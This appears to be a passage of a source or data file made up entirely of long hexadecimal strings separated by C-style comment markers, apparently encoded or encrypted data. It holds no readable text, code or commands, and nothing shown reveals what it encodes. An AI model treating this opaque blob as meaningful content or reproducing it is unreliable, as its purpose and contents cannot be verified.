0722a0b33d178bb6f24148a156a4e9498c30f4f82c3d67ad5332bc419ae92a822ce7360562158fef9f4c4845fef1e810c3ac6c4cbd431eec35e57406c4d8cd9f6ec8f06162e7890c18d3413f817b1ddc26810e06bd4fea6dcfd03d64ed5c94a0268ca430e575426df8e646178167fc6376c7b8e1c96688eab834b5379cd65be3b04c586f08a6956d30e29e7cb77d009cba630f9a21a9f3db6c07c7169a0bdeea208a5fa57f92f10b2e89fec18708650563a8f55c03d2c343d6c43cedddc3e46653d87c767e2b2c767ed3a6f7375295db71c41774d41cb620aeaaa9f3e569e71bb3ea71d9331e0aa130519815da897ca9547a4e9c8520dba0fdc76b6cdfa62143afd1ebcfb7841f5c594c1a2fdf6ce310a37b366364102c23e009ac6277cbb0052fea2450c74e8a29f77ea2c666dcb1527570ab75a835743d90fca439d58532b2836ad6f30974e978453c9f853a89a43268cdd0d8f6e2fa021b4f4a251bc8d662a45a5b31c331240b9d568b031920bc2fa885cb2463dadd3fadbcd5effc3b52f987470095b75acbcf5e7a1c884c3ad121da386b92c744a25330b7178707116f6a724f8f8d38e876bd32a7c604162c0d4d62daa4a20d9ce14b9707*/
/*6ea48ae2a63bb7b48b6328369285e79e9c8d9533a4dea6e3376ec0b3581dc29ba9456e8da6b77a734285c2f2f2b1ed2c9fb4d4c648d8d4a244e53db90375818b2634a3ca046c611810112a7501b6a376341c14715e3ff9d5118d35e91a33ee21eac3b7c8fef1441fc2c5339bce273f616156bf67ee65c4010e4828badc4641d882655e74d1d9c7882ee35f2fe941dd91046dc6accf62b3a5f9588d86624ea6538741d99c4512b06765608a0b88051855cf2eece8877b7c9260678127e0eafb58d2e3c8ca407a3e2ddeb4ef09717d01263e44be980cf17f8ed13601bd0c2de0b5c32f3ab549ffb7fa92977350e601caa536c569ca92044fcfae5a3bc2469b3b9fc5af9f1c816f985c8b049ddaeef9c3a5f37fd41c64865449827953ff08350996c965eaa8db21a35e8b21a8d86c20fcebdf26e7cbca4d87cf7db301d62c1abd3400e84437ed9d3c989fdd0d7615a6bcc5bcda1cbde91b90cf7f79e79447f8982a7c3f6109e95da5352319df9ba09d7d4ec9ec185cb2f7e80bf48c9479b339f4d3873a13c916cd328a886b802f73f1b3dfad70457e82a237dae881cefeeeba4af10a0b7db2ce3254dcedc6867bc8fc8193723709d86d1f01bba6eda2c59e857c9adb6fd5c6b0ce4fb8e2a29744e55fba05a90a841853d12f38554ef974c5d8038f4ca1faa54d24b51be6cf39e608b8a3989603b9037f69f8400dbf494bf6ec50cbe6698c967842eed1e932a635377f3a31d33223427f9ad91c52ddd5009777ba6c206b11d86377229128171cf7ff193afef147fb1654a3c80f59730b2bb377e6f4e97d97ea40e693ab1da06f34970ff6478f5af7affa34cab8ae0b2c1c6d48a3f5836c4c84db788d2b81266892f5d1ed757daa144b2fe9f42280703a602c4a4ee096dde322e1550cf110e372ece6151ad1e0235dd9d6c94ded941c5e6382d1952c76e394aa6cb139f96f581c77eee4b2975962f33a0fe63ec28c3bdee4ee9849827b1efe4ffd6e5ac85fa8fb69ac4a485359aa7a6a19c847511e105a8efd2d1b6eb84e250cfcbe9211a1852c89be5e94e6e0648c9ada37c42c185076adc52ccb6d0503a896d84978eb3ea212331bd3f0cceb36372b1b0c9bbf04efaa4083fce124964330bbc2aae27790c8e02f4d2dad526d5112ec94b598200a0c7f3a1e5b4e02c71882eb7de0580272a196c736ff73271934babbec60208c9c58fd0e84fd4afc42b30647e95bd863b6f9c2eacd9e1c2a7320f1ac586739de2fa9392d0453f4c7e1fa56eb362239f7d22dbf1ad670d2198296ea5fb2d87138a93baa0d1181de25f9ce1326a1923f9b783c1be2861bf5196326800f18f331b74388cd76d1b79a3c75d57064707620009ed1ec1b9668746ae88b9b1479ba007f4e8eed749bbb01f76a58d4208538ecaef02771484597d70469e0fc3cd910fe31db64eb142014937a17bdcafd154c9d42fd40fe4081e82ff71564e4af02eea06887b50e2c7ff086ad3a2946b52cfbba104e314c9d1c296e2777fe4a3f54847ce2a3b1be81e28ce2e9b89039dd2228d5bc82a291ee80a36db27ee607e46092d1965d7273ae552af3f2048f0b5c96853c84cc5bcec55bb03dd92e2479ebe59e34776bc97b3271611cb7bba4f0893c09375758b16f3baebe46bc80e9ae9b59ed0ef07090a38341f57cbecb63c58f2247574e21ed426f5043ba35a12c6f70fe0cf7cfd0365753a28fea9b57c5be3e4ddc22d216d0a562afefb6c7ba74a7e5a35c76fc646af2cc39baa67561967b41985a05f4845bd9d443b4db3bb4315ab948a8c3726ef4edf7a4eed7b19be8e60b2e3f929cf6999fa579a0f1ca3f3bb5461aee5d5ad6f36a1fe45dccfa656057709a1a359ed82db65c877ded94e9a4060448b2af54896dd1578b4060427549230e5ac0bd3a007744f5e566732c8122ede6a538ddae7a1c1518b4a4db9417701c9ed6dba6c6fd70b7a6addca696951c0d0640a6f0ba89254a357f203bf52417612261b3cc1ac2cf72252d0bb571b9fcd228ba9c0786d8ed0598a867058845bd4c4470cc5d8abd9477d725b242cf76f07ffb302c5f76c2ea10277703b66c3f4097b3c076a8ef743feca569ec05cbfaa88a6b1664af47700c112263721b0f29e67f273ab08cb567fd8a6318d2a9bee99cb4f2ef4b758a89df43d15883c2ec82cab700e940950c01a1e64d47fd3e8357fa3cf88fa517a7521f93f6c9ccafaeaf450b3046c9afc9f847869f146af8cafad586ab73ac6b7fcff524113bd28aeeef9fd9560952e0c2841d6692724a0221d82a85cf213d83fb2c47c45ceb20794bee62d12e8743c8580bab3fee43257298698a897774300d98cbcb8f9264ed0a22f913bc46f262dadeedde82a2c06614d0cea87673a5ff628c61916b4e4820eff94f961118c7c7279284f33485d4d5b18a052b4da2385350d2cdcf72b0658ba083896a98409733571e55e1de2f4bb8c323012114e49de0ca3a8a6b1b45dc0a464fff5bc61b778583d62674b68e259a3b1246060b1915bb2f92ccc36475685065a6811b5d128331c0aec0ed6f69f6469f5add25171cccb20d75c3b17b94745d0a9358dff1834c71f58bd8dde3e52edd049241f69b6799d92183aaaf00e9ee444fb70d0bee8e16448f81c27c5b2fcad6ce9eedc2e5d5104a9f5a4f095c62a83565bf308776feed27a6f694c879127e3fd4fe5e68a7d83ca73c60b9b5a9f13247adcc69067a2e41b808c94011db687bb4e67142b47d6d9129e9d39362450cf813c85bea24137c0d58217f5f7d2a1045ac56e2f240d66efcf531252498f8b8c065e67fabc92c8619cfdda6e4c860852008489b*/
/*ab1a6a06d3f27f03f186e04bcf0197cb0e73cbd59f18e07690d4be0d7e0a3d4ad71d76f9bac5503d8f9df399ec835c02906d20f35e5529829a9e4849ec29eda82d1bfa03a3822ea63a7ac01ea50ede0cbcca72bc7f43707e8c4b7425ae0387c4f84b71617312d2d36718ac0c70eeb1d47eb56e153248e1a0d5aa6bffdfbaa75de703933dc4a7c1afe8c9ed9781ced322cce2362d178a3aa9019ac273d9b3e68f1c623037443d4dfd164815f2b515ecd40ef1b99b651ed284a413993095ba2f6b5945574e170d0ebb851ea077242cc075017b94f1b865d0fa0d721d0efcdbbbd4dad190d4c6d0a241277fa7cc5cdd768ba284537037564e8fb07a062080a78e8a1a59fc5be8f45b9c101c8372d63936c53a0376947426446db16c52acff2f276b7fb5adbd6992ba091b6cdc2ecf7d07bd68f3a8fb5f49bf3857e711934b799212418c1a8520d6182e7c904f4fc77560173f1664493f53ac43cad90be393944d17315019f50c91a576971bc0daec08fec2e0146db1482c596f02ad813e4ec829128db7db77b63c6b2dd821448887a0e8dffc4adcbc1303841477086b8ba57da6e1577d6504d7c480000d3f5a22e33ef1f9e4795e44522f27bda22034ca4784f42ae11905f99c1cd9fa9e4d68ef7ba7d24f23d95f3b6b0134963ee3aa0f5f66aa67d8f66f50e4a5ec4b4afdbaf5739c4f496e0ef720f2807809e9ca193749c47167d34bd0db2f1833e62db5f56f9d288a63739c6d24b1586c8e0e4ea17c6ffc8b8f0c6c9107040a274fc32e286224d0cccb46969327dead9e633a41bb4d1dbe697e7de05f634ea77a2be310073335ab8b44c192621db50e10ffb5627e4568693d7a5140dd36aca09d4a713f7f09364fbd1f041da7fc7d60db31af004bf30934094c97a83683dc42652ee25df726a66a12b99c4172326d06545b05c1ef71c73d1a18cfbd5c1fcbf5943904193e71256a23fa6caca411621fbdc3fdcd0f61d305404185b3bf810eda8fa0b947dcebfa489ef532af9a45221ea59c4fa25567fd59d648950357d20a53a024099151964710fd37bea7369142ae67766a9cac4e18971bc5f1ca649e1245f0c67152a1a95daa8464a35d96efb0d5bb77a1862d3b76e78c642c65e644d4f18a0b4a26e3cd1f2e3cf5a6c3159bf5a5460b64d462f97272bfe50c0ce2f1b4207af0af67812945b9edb2d36ed828f9d7407c0e3270ca4621dd99aef1ae33e364a586703c5e9367ef977dd941dc4f05b7c3bc5233aa4680c214f0b1acc2b50d1b5a1c83703e0ad2d299ead080ab8d77845bec91b8085d9b91b02059e579755601b23fb395550e106bb8dbef13e5c3fa73926b67470fb97c4a37b5b2d1cf49b53dc311050a8ff4ff1031a628e4c4dc73232fa1b01fe41d57f78347a6b8f4cbfcf36d393f9f7680f728c266a001e94b3bd7a10a138ac56853b47eb4f0f1bc63b2af95b978d48066811f51b2173e269725606210a9c5fec3a7c219dd1664af2341f1cf69cfb1ec142afbbae9fe29a5f5fcc7d4bde699f4d36df90d88f1cad26be31441191c54607a93be9548fcc972f003cf6874defd0b5132b2db963de115da466fa39ebbc72aef32ae59c89f0ea4c45a590bab12207c5b93e2badf7fcb065b0656c0e69ac1d6d412d6c21622f5ebe254ac5fbf2ae89bc7cb9f9bd88aa8565b5703aea6e475f84eb3b5c8d1398b303577cebd66911b2b5fd7660156916840a961422cc8c58e20c02f00508acbf1db300e0ce925da46997e8f89397c23a70483f1335ed24279b1ad3fb7039e0feb543694c3c0fb3b6d5ab892bea488d37c36cd3007d937aae1ec640de97f243a5fbeb2cbc34ec55388485b64a3d36ba634ccc70228daa3f9eed30c4fc35aa6bec617019184961b593a15370d9fae206bdb287a05026fac2573a1cd62ad3ba9c4535b7b91749a813dfc5741841ef20114527c1d264792196264d7db59f8f1e6eb38e44ba5a39087abac8436101f168c37b7b8a190ea34dc31cb495efb5d177b3cc4bb7d929bcc34abb88a4bfb9ec107d87b29de92ff95955fe4cafa4f06489698f93bbb3d8365c79ab87879e7b39c1ccd661692e4381e2ef4b290341f0bf7e8314099b5ae4cc2918dea585cdcc98d53c09b375ded9f318842bd3d9a25d8d05dd4d6f5b75d103f66ddf86347a46e72b48c179e34406b742e444d040ec7c2da11fefc3b8e8274c365b57fb98b09be8c740a657596f4becb6091a2454fd1145492ef677fac42511b7623e101f9e09c074be9d7c0673ad7f3799cdd42dab100f015e03dacf883e870d0a84ed2a33e8fd890f9e9fc93e103ff28b1a80ffd45390d6b8f7244d3d1fe43afa5f271ecda9e4a1c2ba2ac914412526ff7dd5f492826be7f917596c8fddeb8b2c98940e4e956a1734d33d5a4bbb75e8eb9e692fe263c9d90ca5f9e38a7ec676d210fcc0b66931e633a847f267cc4d4327775cdb7e522fafced0ec731eae639d667da4f2523742f8fa2f9acffb34f1b8446eb825310c3060d4f758bb04d3e7efdb06e2b4ef0500ccb1936575a1cd7b5a2e0bcc5c4daae948ac6df2f488fe42c8e28f597b27297a7c9fee1bb0d573d5162c2d85a38e65b7d9ef97add41cdfaebd9d48ea66a2e2c21a4f6ee50a8edc21a83d7d796ea2f6506846e321ab15fb59cb5cee9df48ef0abc701becbc083e9f13aae8cdbab27cd05db68cce18ac967c9462219d565782decbd2e58693bcd4fa70c640cfae8206c75f19b84bda1a19753bb05cae200f6885a8b07ee1a72256ae0fb3b821841ad2d588778c6ab51457d75b5f8e2d7853dad9b66d7677dd5a7e988a9b8e492b039b875de5*/
/*63a528f60b0f8c48951bb6e463413f5a29a7b2a4b42f71c7771e8e3b722d3d686c0ba07145ae4faeffea780926933f2375eb2f3eb2efefef8724d6860b73057913b23692344a7b48bc646ece5405070a414cd9cc1739971e763c124668c28c983fc58ba334806ec260055dceed83a73ffbe3678c8f7d564e7eea71fdb54704b4c96a6b88581d98be2ee547f4dae2202e2a0674929f35244e4136d29b037188fb6438c5301212a0b07fecebb73593c524e08941e2a07fb8ba264bfa1d558e2914ccca1220221584d87e743396d807d80966ae60613c4e433467167bc3fad0879fbdc11c5e39a07119670a7248b21115582bdd4b8268ca66ea218e59153f2317dfc14eeb849dcdf84378c2e985062a9e679f35e54bd2465ffe109a7b65c4014bc445be83fdf248eebfd225ddeee36c93cd7bd339f245db64b5f40449f976b7eac70c1ebdd39d7748d94c8d9c153995843d6c89f2b6494e7087c485c0ad6f604829f94d08761c62b052ed761eca761c88e1f38949c88a77a440bfa91d1b3dcc86e71580211d0ad4ec02dd04ea1c0f4428cc1bde6fab02edfea4e4703f0660223128480b5a5bd7afdf46a63fbcd8bde4af6ca11807cd8b2f57d4cf19444a249b61ad379b225b9983ce39c83f91ecfb9cee524747142467fac2b223b65994fd6b2f7236fa2f97a7f25f94c0fa50d2012009ced404009ef9da405bc17f79cf8be1f95366b733672e99e1f628dc606954cd0ca38773e8ebc379a79eea862341f3784015f583b3d0053db971a61bcc0681a06e5a498df6c60e43745e0199ad5f9321d6be0e4eb4e950a5f76504fee2600c4ccfd2751a97b6b08679e4b3efc04ea824e6800ceb17a50d0c826a093de3459e5daf732a21a1bbc88c9b5765710b1e009ed71150008df0cf05745fda6f2ec1ecdfc1b747f3420ce786c8456a5cda6b235dce6c52de550435f43f5215e766de00a455f343d49b59acaf8fc6b10897b8938cc6cdf7bfeea8d5f2d88143dc7d7d5823cdc5cc01162f9a1e54745edd9fc7d291934c1cb96739dc47cb699cf1c04216f1f2ade828a69640ad43eed83c87bccd3161233e31a7394fd03c46c384e72b94289521fa7d8c4cfcb9c014bc71a55c569c8a06747ee732add3e20e9a304fa1c7e40db4d84c213a8a5f40fb9f42f8bbc75498cd23d092b2a49e52e09cbd899f92293f098c91245c1557f03ee15570fc46c5e43a86d49d8f56fc3e1e0d03979d3d4abb000916881f8056a287a2cc13cb83de56a388237c7fa42f33e957394b753ad831a6c5e0196b83eca6331056e070a789e822aa3a0d17a5cecd9c8c9f7c2c9eaedd9cda947ca1edb407ee449f9525b13c84fcc1019ab56a215e8889683c7d93305b10278dfa98b6b5f9d38e889e45a08028d36ebedce305394d48f9e4a62dc1ad6c260d8aa3473dad2092c596c7bb8774f96125add840cf4d66a665842ff3d04afdab41b2df01d46a875aa987bc34d76f789df856fed4a05ccff066bf7070e1f4a247088e9484e8d4533017e746c94dd7dd1970e013f192ef25d1ab5686ef8256cdc3610c1451ab82824473d5ebe07689a542ff42b3f038a83ab3fc5f501d920c70944b0e2a487b22bb3369c527b87800216bf62efd693eefd691c3d16a93b3ebc67e9f63feb36437f981817405b3042d4676805ef5453e925595c25feb4af600a351f8049c72dfbfa34590bfc8c6a6ecc3a1e72230584ff23ea6382ade76ba88565355e4781773688012892d1d3f5cd0158156b42efaf7768d32cdfaf21dff38d58ed2e64221c7eb9fd8b540a6ca2e029911b788b93777534f52bbd0e672aa5f1b2d7a4523e0fc99aa2045e9b90398fa3306e628d2cc4f6b90177166fbb418aff4ce3377e88fcbaccd26931649ed8c4695079207555ae78378de79d028f7b024c51eda485f8c69f68036b9c225c19139a88d8d7dbbbf6839fe57c73ce5862a8a98ede8005211a26a934a8f9b4d7b146f0dcc493a060e5f9d70c6aed64a3abcd3810dd59cdebe76d9d1f4c81506818c2c940ac0d4e6bac0bd0612fae096b117df5b29248459cc80c7e08c2b5f381d2821406dc610f4ceb292288c96e7248905bdd24f1cf20a8e8cc5320a7b43f990bc6a8b1cb90997f77aecae504491920bb2411122c5e2baafa2b9feeff685bda600f05271773be8db941beba097d14b070cf4fb1c93ecf90dbaa27aeb70c946b8e556913c0db8521fe66b7f5cc4886f57881c1904817c794ecdd790d8ae9c63260c488053d597f73dc83512c980113624fe4e838aea783ac69212d2d0cd846f9acd6789ca73339321c329a0bf63733209a69505f019e43ed68e494c078656008ecb9af43b5ef83a01ee880d9cb1b7a94f5736effebe2735d8a32969b94c41e2a3b5d2d0043911f2fe1eb04157f6c4b0b4782fe0d1861105a60f2de8746533213cbdfdd6399ca734223af96311e3e6c83b1e61a5cc9ab8793afeaec99c1436352bb21307479e91b84765569a1ba615d7ba84705bf981f189b15f4b9840dd33b974e6f43393a19f4cc7c42e1dae11ac90016bdbb9214166b8b6b2f71025dac4d50a3f3f4fc141de662f1208244ea52c0b2cc415c96eafcb71778645eebed622eb7398da90d5eec232b66ea767cc8d5ab9c163c5a2ad5ca1121da3b75edf694e47e638c3659cbccdeb16d2d9e61677151f3d91d1b3a3e318fcf69261d5634184face4ff4da49579870868c890229dd19fb705a07b5bf2bf4cbf3f351ea4b49e686fdc24b7c96be931bc1842b90bdb3227d8343e734889b60b0cbcb3d9b32c0bced34472c447ba6aa80e1546f93f9b099aef5e2cc6496*/
/*44c20c668cccb8723b824f999a394d9a61a3d0dd52c3be9f348b2f04e8f3c92e3098a0e7d4a5035daf3456ca5a9faecba5788b6e9557c247a68859a6a090c25c2a120bcfc1ee12fcb188e8dee06fc86995b6e25dd980914bcc94da49731521267903d2ebd9ca2ba5dda7f1009713c99edb3d76a37e72fbfb7aaffa522f5bb90f587160b0f3d79d70a8f052df7d2e25da6c32aa1967fcd509d8d7e318816f2e4259a3c335fff94934667dcd37917a8c39aeb0c3d89d95dc2771292f72a194c7e7c23f13662d513411c087fb2e88735065e73e6136fa4d103a812c755c567a3d54390d03a656edef15839a089a0fe30935a0e5df151abf9a72a0263745a841e10d8bfeda61ac284d973ed4455bfc1a0679a8a2f0084c3e014ad8841cba0aff99e314c186f8a9549d1ee16338d7116ac85a45a1479d68c8725854d3d081bf97d669b499799731cd12e5ea2db431566e65c8491ad504eead268eb11798e8701ce94552b09b5e93fd00aa35ac0bcfde92f4181c09fed4e415da823878d520e42e79f5b0c256c9194237298167a6af88c9516dd034323ab0c1c0ce7d9ea01044bfd8d56675a02143af5ad5682d79048c60b8dbd92db26b1ba69175da2a8d3f3a476570efc5d134d2f41a5f6373ac070dab3370c16988a73e0a73ef58f57ff61bd17f775fc2699756a515998a41dfdaac098f0003ea5ef69a11aa8db0a3270a8e446a6bb561b422388d00e59e1b44f230e3165278b9f2a97ebce5f6b6a7025248fc36accbe14bdb6ce56393156f43ab07114377a264236c01c6cf7538bb7f3ffbac9c3958e5dd7599722317ec7342598eeaf5d10a4418f7f915485afcc9320413eb1519402a1d01263347d06a24b5f3d6b757dfc76cc53816b7f4e6e9dd56c76fe6d85dc8508a0fc0ed572363214c02aa8c6e842abd4991108fc26a7200a9e1de3661100e48ce5a97d8c9f3766ef239b1d59c21a70e2f32fd00694a93dfd038ef4c0a0deda46d3e88e094f370853c33c8db189334632dac17e6ac2769deeb0a802b81e6d2363c43c463a1053ab3c45b6d198ab9d3525f708b80fc43d3561fb91c6081768177a0fff778b8062986a24ed290c37aab86f31f4bdf0c9ba68289731b7e1b0fe170653ba86936407b872fd4fba1c2c16c1af360ddc0f82dad1a2c8bf91cff1307b80d27580bd30354715c0d96ed7e096b9ee98c6f20885c0c5916cb85321bf042272a70cf4b2d2c952a883e0f43ec75ab28c8ffd8606846cc8fa96694918c20157dadeff708aaff76cff39dd991fccc8b7c6e5593ca6842c815f17741dcc48e0a602f6ded9b46df7d40e53a6200318bb26213a46f9203599aec0143705da87edb9329c08259e78e4fae567eae7f56e8930150cee1f3f422d43e87d7ee34b06decacaa9e20460caba86601cbae5fed2e729df8666e96b4a601fdfa4b3ef51789aa13ce70b96f2e314f34a2b1af80e6e7396039f9e9f3a59598a2615d2027e47f3db1419af5b60231d6d850bbf1d28bd91894da74b418ab4fbd5b4b90c9c759f1b6cc7b21da3839e3dde6a7e7a7625ec6df5306103d9016843062c2d61760341fdb540207c120ae6865813eb18a94e2f5cbad57abb7f960a8b3d17cb6137bc019e76e9df5fd4e9fa7258fb4d1779c136e37b3b4b4bc8909b89b6fc0ad2ffca18ee675a43da41b4bd96f56bd126aa81bcaf646245ef3abb8251076d849005968508e10ce338f69895842dcc29979afe0e71aeae14af778f8a3e54b2aa8f9c3f4f9d4849912cf6e878f437f1a2ac68c2c7a5c7981efb7a25d22ab8cd504774286f2f4f2dc358b22e28f9e6d27ba6662a4d632471e210f442af5df0d0a46d8c2eb4675f675a89163c681e1312e1789f6468fdfb4d28b0bfe521a6fd19075e039800c710af041f0c3db3150f0f61bd04de46d9e434f2dfacb1e423bce0f5aae26dfa126fb16d5334640784e1544a6b44816cf75a3a705008b1e9dee66d35a70757f54964c8de1ccae0694b0cd8f5f0d27ef3a2daeda9411346e0f6eb4e17eb39a3dc85e364fe7c2ef6c5897cb7fef135b1e102b13f5a1e7e51f66a8d89814b20810e5f235e013aebf792163e5dc18fcfa6dea5d787f81aa147bb51ce741dda7917aa0648515ee5b206d6f12d6509e18bcf426b2f6601bab7e9db8134f0e81bdbe2365b3f9deeb9bf9dd90a22d8cbf79edde395c83f6d8f9576d2723007f65455acbcc50b701f17014ad6c0390ae6c0441015735fab102eba99d3772f9cc26b61f1437adef347a5c73e0f2bc620408b4a3eab13cc0b6950b5a24991469bb53dacd61bbd8bf7b5b24ef2776d2af5f8299c730f783e013714c6206ad0ade0344ea0155b3d573b67199a3cbe60080b56c0b63493ef72c7708e6af6f4fcbdb03e1173cd4d366482ed49b79e14e0992a9ff209c9158abc59281ab63d98c5a744606786abf3a71dc34937f98485bcc6a53c80543801a2bf0f30ce80a0c875e46547d26ce0de7b23db5d47594fc702bae743ff5134a4bcad6e8286a964e12050ec21bdfb63cfe13d3a9088898bac103b480d72b9bc6168aa2a69984270fa8ace76edef117f048e3416b5b45c73308cf90ade7719543e64e3c5406e771cc2a45467f22a63ca938f09356821040422d6fbf932cad9b1a7b53afadc25763fcea8a27dc29e07e43322a43f53a3504ee37fc3d8cb103cb94340551ff7c57a2beef8d81bf3c128c321991de5cf47d0a31ae332e046be40ab06baa904afd619aed2a073e87fecc264095306a34f7ae7f1255a59f76542c762a2b05d442007f9175020eb19d83878695b8044665af256ac080ef3ffcc627e45767*/
/*cb0efb4364e230841d913312777060bbd31ceec4a7eee376bd1dc2728dbddd1984bb1d7344b384fd8f357285c0ca27f48e90cf7bbde998ecf0b79db34985fd3765af8b3293cabddb67fe6a043f08d0d5d0d28ca4577bb2ed91d7bc8cb1cf6fc5b0297bc384487af5d29fc0662d6e20f459fe44e32f9a2e457360634a73991da3e32907fa3363a73a09ba0bf23d9e68ad878214cb45b93e2f89ac078cbce7a9be298e6bcf5b0fab1ffd6bf372cd3d5410e63e62868f5043ec65708847aaf559672e8d91145cc3a6c1f9590aff13c44cc648e948175436c311377b79e67c51361ab1fb15c849a70a5749593fa852c68ae9b412eb13204bf6f868a78f017bf3049dae0edbac0fd055729ece5b0fa9bd216d054d0965f7c26b959343acc85819bf84bd8058028a72a6b425f93f138a4c4399ddc3c8134c3cc26ffb46d5a68a75d82d9730d5820a377aa092def36b62ba25c9d663431ab7f44cdef6109019a0c299cc00dd9a73947bd704fddfd1f09114ec6230e123970b8c188356cee607624f3880cc035372df6ce389c99f9a72527a5fa60362a0ffa4029ba8cd35bb9be72cb6214b5bd6774c8bcf454153f33d78ac2e4fac7db000e93f41259c48b8541bfe81ade656437befaa19675fba4c0249ef786e20eff9789b5a15d8ffe42d2b7c17e8b2e61b8526c5db5b0307a5e161d3e1c6a8b0d7ee7dd2b213831d2dd9702790d9568e94840c72f9f665c6b6181df72afab243e4a8069e2fa89543ed7aa35afb3af15f05f6c6ffa0c67da498230e999aee824b52f7ae1eff933e590b809ffeeb5fd32638965c28965e31813c78ba7fb85445669aa13bde6ca469038fee74e4314d79525e62b0eb54b9f9289780d159bb01eef96d5fbd96b1662367f9e1ad74dfb6c9d05f53018d62b672cb1afab53e476d32d2b1d0fdf7dc3544324e1d15407e0b2eafe3dfbf35f3e6aaa1dced80f91cd4266131f362b282dfe889683b1904e79f9d8763707a569c5d349377abf8eaaa85a24bfee0c23582f660a03abc31bf6fea06b309630e2138092bae8aa521e8c958dcfc4c5f551c4fa128c99dc4bcfe3cf9f3e9ce6e51640933ddec9d80c6e5c496046dd8215ac56a3fbac45d899e0ce4a5a2ace66df007b42d28f88b4bc899cd775f8f240d194eb07a5716cc9444fea1f857907864d5196866290d8d04289b314339ed57a3f2981a76ddb3ad670d4207de281011aceface6c1f0fa281983a9905da41415642456a98d43607d686b427ad5ba65b0015b87b01c643e4d5e5f1b30f2a43a782318c2955b57434c4407bf62a731b51de62913c7da0e6683be690439ba26246831177c2edd9a2411ec7b452fec0e1ea639527e2e49bc1c383c533cb6771ab526faffc0367350b0e2b4b0b721d582ae4431416be02128cb90be104d9d475f3983c29e32bb591277ba2aca9eb334dc9f81fca1928950b66160eb922a2e39513b6f2cf88d9f2b4c927c7b153c77f789ee51b8a540d4a19b19f8b0615b348b824e2e71ef7fe4bc6347fd501013bdf96483123bde6d6c332916b2903d76c5a255525e7cd1e9518ac108c9e6fe9029675ef5c80e2dd0e3027ed63b4384e8669e5dd87eedf7e28894fee6391d84e5601b33eeb593db15ae2baf8f59ee5cafb27e7affb36719e50b1cc2e548f60008b01383e5a2bcfab8785f311553334fabe3eb0e6fc50edd938cc1dc82a98e8392172fc6121c75b65a676d25c710c3bdaa091d41b1b021eea36a77207af529f717b97add55e5bf2c80af7a60fa90a6b0afe50cbdb50d41cdb9dd2e6d843ea12b3679db6431557ea3f22f3c8e0781d8ea70c0f2f0faeb30727f2b135e6d07abfa7288c269fa4375cf069e489df49d1c3d6f41448ef2ad72cf75679c938c122eb10f0ec89844b5ba007b7bef88975e6b947b4b8eeb1a3a76be860100b1734d1dfd41612b12b28c998da97ec6d2fc17cf41e50595cc437829fba6a8d44ca759eba4b1e7529c7c47b21b5c1d8a908070b62c5c9e4f361d301a6068766493336966a4fb4de88ce13280d4657f668172ae6fda86f14ee442344ba0bde4ab70eed0301e81eb882edd926127736683698cd73c98c63bd8220aa25c7ea3a0d665b0b722cc3ee8f17cea5c91653b062c8c1e8663008a055c34097715dd12bd09097f0955bbbd854c27da633cafdb24045951164bffa096466c7b4393a9762e15c6b6b8502c98a509c05d84f2470e6cfd775754463484e21f499483829b26dd03fdc7b469a29ae118bf4fae821bb194234d2844c09b12926b62a2dcc93209669a7ab0a54317570708ecbdc1d32e921c027c33b3523a9dd2be0104e599c24f137938dd83888662c2a6a55df4a6d5fece47e5b2cb7e0fe2ed643d9119788737d4e86b62ccb00c4cd57836a2e25fac38f45589e78a27d969dee6567fd64af768607460f782083c1bb004931b9d15798309e6190ab883c0b85113f6fd71729743dba728a8c045809707351b167b746a08623d13476c164c1ca80dc643808691f3e5bf5da0a8b90a39a22205bfb5c83abcff7ff0c2338f6b90d432a537d88c3b7322bf56150c65d529508df95082d623e0365ffb7df35d4df93ef27abf639049b9be32ee7dd03ff2e0f59a390f9a78355348fcab3531b88a562c0891fb68a5f3e88d351572440123b0ce617c14aefea633d011e4d433e495ba4fb0d96d2e317129a0efab1122c362b17368cfa1270a2c152190437ea6aff95975f9523aa619c53899d0fe56674596aa9e455f9ecccb9b5133114a895dca0f19d6451ecb07aac18ef63b99d3c3affd87a6a86d3bec8f992c62bcc03368e87832ddb252*/
/*f2434966b35c57e503154d8a604cb9e037778526d48714b50c099eb41c4f93d52883cea2e66464a0a93cf6a84710d7c75b0e46871783c613e3dc090937339b8a85c4327989553467f0800bdc89e861949648a7edd312b1ceae2ef75233198ad766d323863f12363730ef8cce049f6046e71f872e8e9c9e767c56dc06f64bd00d798196811cd1027bf0843cc9c286484d37e27696838e83592a27bf65093ea3428887cd4c073190e96736d1594c9049ff26ac612fa36cae8a25b4011feb866b5a1e020264b01934c61b94a080bed5d880308120d14588eb82ec4206ffe8ada0daa5033ad72214325741270093b31da7836b26d80657f6dce9218b7ca6d7b953be0e4a49bbee979eed829b97145eb48487c799fa88aede359af7812f53ba830c5d825ed401bf4549e76766f0644762d206de751388520133a72b81ff8e24fd020aa70e9e69037fe4256273f8c297b5a3bd6d75720e033ca65a6fc213f9dfffe76e7392d7bb94eeea9b40d942fa672223af0be7f8e9a47076d6b29b3e29739daa1d038da48d12a32016a61b10853a78e6141a7aa82f741be58d1867ca0ef2680e15c478cc8bafe44ead82a971fb0f0bea8002a0c1656d4120c2275b46e01ae7b3ffa8badbffa58eafc91b334edfd126e70a2343799b1dc3ff6c3a833215c79ff3391c8fccb098063584eb1fd8b3eaed7002a37a1d0e29be8195b868fb6664705ed88ce96477e732adfab8f73e3ff625abc29ccd6c3ccdfaf9fdbdb63296b904fade36352b8372529108091a9eebcf26416ed3873ed9e46a3d45ff3a95b2c1262c7f3463457faf05c97432c501838f320a3033860c1d62359d6a6a26131d1ae826205a80f4ffb84da87106e178a389f55f7d56aedb0814a1bbd31f40995ed55b436e8f4eac3241f04b910a958a3c74d01bc5e5285ff1f1945ddf13d88e9c32cf1242476d16f37aae9601e93fc6cb1842b2d8f4c6dcb8079f6ce59ce19ed89540819540869660c301ed93d8dc4b781356678b5e3d56775195875135d70ca5795e24248d5f0227b8c2d62a1905705cc63a1c804b1da866a09a402e9ececcbe273617b7b33236ab7e986a5758d33aadf061f9f5a1cb2bd1673bc0ab74cdc798f74df7586350dca10a68df02aae4dbb635eb5dcbc445631d5d5346f0698ea922eea431fbe33e22536117913788a62a1195a347c70d4bc0414bada034b871e69d05bea3d9f96a90f7a885d7980710c03f463c3c5aaf80bfbf6414f4e03194704e22629ab9146a7195725dad95309d7b3cd86dbf057019b1e0081efc0961fa9866999da1c4e9e3c0b6f35aca99bba91f043f4acf4dc0a3eab7ed3524ccd04d40f640f423d7a62e859a0cd5a6e7d0c4a2469ce4d0356c699126a9f0f1aacb3fdfccabb8a8103c765f9593853af6cb1f71420aee9b132e8c1998082ea9a69b09aa2f1ad95eb7bef545198ace337347e18320c80b